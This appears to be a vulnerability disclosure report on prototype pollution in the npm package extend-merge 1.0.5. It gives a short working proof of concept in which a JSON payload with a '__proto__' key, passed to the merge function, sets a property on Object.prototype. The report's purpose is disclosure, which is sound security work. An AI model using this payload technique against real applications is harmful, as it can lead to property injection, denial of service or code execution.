How it was found

I would like to report a prototype pollution vulnerability in extend-merge module. It allows an attacker to inject properties on Object.prototype.

Module

module name: extend-merge version: 1.0.5 npm page: https://www.npmjs.com/package/extend-merge

Module Description

Shallow extend and deep merge utility function.

Module Stats

[48] weekly downloads

Vulnerability

Vulnerability Description

The merge function can be used to add/modify properties of the Object prototype. These properties will be present on all objects.

Steps To Reproduce:

• install extend-merge module:
  • npm i extend-merge

Create an object with __proto__ property and pass it to the merge function:

const extend_merge = require('extend-merge');
const payload =  JSON.parse('{"__proto__":{"polluted":"yes"}}');
let obj = {};
console.log("Before : " + obj.polluted);
extend_merge.merge({}, payload);
console.log("After : " + obj.polluted);

Output:

Before : undefined
After : yes

{F835068}

Supporting Material/References:

• OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
• NODEJS VERSION: v14.1.0
• NPM VERSION: 6.14.5

Wrap up

• I contacted the maintainer to let them know: [N]
• I opened an issue in the related repository: [N]

Thank you for your time.

best regards,

d3lla

Impact

The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.